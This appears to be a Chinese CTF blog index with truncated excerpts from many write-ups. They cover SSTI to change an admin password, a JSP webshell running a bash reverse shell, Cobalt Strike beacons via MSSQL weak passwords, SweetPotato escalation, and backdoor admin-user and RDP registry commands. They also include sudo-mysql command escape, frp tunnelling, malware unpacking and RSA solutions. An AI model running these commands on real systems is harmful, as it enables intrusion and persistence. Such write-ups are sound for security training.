My Sky Blog
这里我们看到我们的源代码之后很容易就可以发现ssti的注入点
就是这里
但是找到ssti的注入点很简单,但是要获取admin却不容易
这里我注入了很久,发现都是在自己获取自己
但是如果我们审计代码可以发现第一个Post是admin的,那么我们先尝试看看能不能从ssti中获取第一篇文章的东西,那么我们使用这个payload
index.Posts
我们传上去后发现效果是这样
那么很显然我们这里已经是获取到了我们的第一个Posts
那么我们接下来要做什么呢
我们发现Posts的模板是这样的
title和body我们没有什么能利用的,但是Author是指向User对象的,那么我们去看User对象
这里我们可以找到User对象中有一个changepassword方法
而且既然我们刚才就可以变成admin,那么我们也就可以用这个方法去继续调用changepassword方法来更改admin的方法,于是我们就可以做到更改admin的密码,然后再用这个密码登录上去就可以获取flag了
最终payload
...
flag
端口,猜测tomcat,扫一下目录
发现docs目录,进去看发现该tomcat版本存在文件读取,于是尝试攻击
发现有一个UploadServlet
然后使用文件包含反弹shell
.jsp
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c echo,base|base,-d|bash,-i").getInputStream(); int a = -; byte[] b = new byte[]; out.print("<pre>"); while((a=in.read(b))!=-) out.println(new String(b)); out.print("</pre>");%>
然后我们 ...
我们在JSON.parseObject上打断点,跟进到这里
然后跟进到JSONScanner
到这个位置时token为
!!!我是煞笔!我没有仔细调试和看就说调不出来
上面那个截图取自我看的笔记,但是到我这里的代码长这个样子
我当时看到没有就武断的认为自己代码的版本有问题,但是其实没有问题,因为如果我但凡在调试的时候在这个位置进行跟进, 也不会没有发现它这里代码重构成了这样
我就说哪里莫名其妙来的这个
然后我们继续跟进
由于token是,于是走到了这里
然后在这里的时候我并没有如预期一样走到了case 的里面,经过我三次调试后还是没有找到parse这个方法在parseObject的这个重写方法中使用,于是我继续查找,发现存在在parseObject的这个重写方法中
之后我们一路跟进,走到case 这里,然后我们进到parseObject中
到这里的时候发现是对json进行一系列的操作
这时这里的key已经是@type了,然后我们继续跟进,发现下面还判定了对于开头是不是@type 的
然后我们发现它再次调用了scanSymbol,然后调用了 ...
flag
在使用fscan扫描的时候发现存在sqlserver(mssql)弱口令,使用MDUT连接,然后在公网vps起teamserver,往mssql中传cs木马直接上线
最后发现需要提权,因为是mssql系列,考虑Potato提权
使用SweetPotato执行beacon.exe实现system权限木马上线
然后在admin中找到flag
这里是我创建了一个新用户,登录进去之后访问的flag
net user fault qwer! /addnet localgroup administrators fault /addREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d /f
flag
然后我们继续探测内网,传一个fscan上去扫描内网,发现dc机器
到这里,我们搜集用户信息
shell net user
找到还有一个john用户,然后我们尝试看看 ...
队伍情况
队伍名称
图书馆五楼风很大
队伍排名
rk
队伍成员
ksme
TenMape
amunt
fault
[Misc]简历
solved by ksme
🩸🩸 查壳,有UPX壳:
脱壳后IDA及沙箱分析无果,直接foremost得到一张简历图片:
zsteg得到一个default.a的下载链接:
分析default.a,可以看到大量重复的yyttddd:
用厨子xor一下,得到一个新的exe文件:
沙箱未能分析出网络行为,通过IDA分析,可以看到明显的python特征:
尝试使用pyinstxtractor解包失败,最后strings看到了关键信息:
那么思路就很明确了,需要用pupy相关的工具解包,在大量搜索尝试后找到以下可用项目:
安装好依赖库后尝试运行,会出现报错:
对项目中的main.py的.参数尝试多种方法调整未能解决,遂详细审了一下报错,发现问题来自python的uncompyle库中main.py的一条assert语句,于是选择直接将这行注释掉:
再次运行,虽然最后会出现报错,但是需要的C也已经成功输出了:
MD后 ...
flag
访问靶机后有如下
信息搜集
title图标一眼顶针tp,fscan扫出来是tp. rce漏洞
写🐎然后蚁剑
蚁剑
无密码执行mysql
发现无密码执行mysql,利用这个执行命令
查找flag
sudo mysql -e ;\! find / -name flag*;
然后直接cat flag
sudo mysql -e ;\! cat /root/flag/flag.txt;
拿到第一段flag
flag: flagb-
继续信息搜集
flag
发现内网网段,直接fscan
fscan之后发现信呼OA,尝试进行内网穿透
frp搭建
frpc.ini
[common]server_addr = [服务器ip]server_port = [socks_to_] type = tcpremote_port = plugin = socks
在客户机启动
./frpc -c frpc.ini
frps.ini
[com ...
起因
在大约三月份时便听闺蜜的吐槽,说自己几乎每天都有骚扰电话,起初我以为是闺蜜对于个人信息的保护不太重视,而在询问过后得知,其实并非如此,而是自己的信息莫名其妙的被泄露了,我当时只教了她如何保护个人信息以及设置来电拦截后便觉得此事已然了结
今日
知道今天,再次收到闺蜜的吐槽,发现骚扰电话打过来的频率从之前的每天一个左右,到了现在的一天三个,我在惊讶于这个离谱的速度的同时,又收到了舍友的吐槽
正在我沾沾自喜以为自己的信息没被泄露后,仅仅一个小时左右的时间,我也喜提信息泄露大礼包
气愤之余便有了如下对话
fault:你们从哪儿来的我个人信息?XX机构:啊,可能是你之前领过我们机构的书?也有可能是你参加过我们的讲座?fault:我可以很确定我没有XX机构:那我不知道咯,那就有可能是我们代理收上来的
很气!!!!
正当我在和舍友确定是否是同一个电话号码的时候,这个机构的同一个电话号码,三杀!
我在大为震撼的同时,也从他嘴里听到是由于我们参加了讲座从而得到我们的信息的
震撼
在我们聊天对信息的同时,惊奇的发现了一个问题,我与这位同学的学号是连着的,而且我俩的接听时间只差几分钟
那 ...
[RSA]P
加密代码如下
flag = b;NSSCTF******;p = getPrime()q = getPrime()n = p*qe = phi = (p-)*(q-)m = bytes_to_long(flag)c = powmod(m, e, n)print(f;n = n;)print(f;e = e;)print(f;c = c;)
我们发现e很小,所以我们尝试使用小明文去解决
要注意,iroot的[]是结果[]是能否做到
[RSA]P
我们发现这次的e虽然更小了,但是显然得不到
me<nm^{e} < n
me<n
又因为我们知道
c≡me mod Nc \equiv m^{e} \bmod N
c≡memodN
所以我们可以得到
me≡c+k×Nm^{e} \equiv c+k\times N ...
[!NOTE] 一些小小的碎碎念
第一次看到sanic其实是不知所措的,感觉这个虽然是眼熟,但也仅限于眼熟,显而易见的,国赛没有做出来,也因为一些心态问题没有做复盘,时隔近两月,慢慢调整好心态后终于是借着gxn师傅的Sanic revenge进行了整体的复盘
这里放上gxn师傅的博客
https://www.cnblogs.com/gxngxngxn/p/https://www.cnblogs.com/gxngxngxn/p/
ciscn sanic
源码如下
from sanic import Sanicfrom sanic.response import text, htmlfrom sanic_session import Sessionimport pydash# pydash==..class Pollute: def _ ...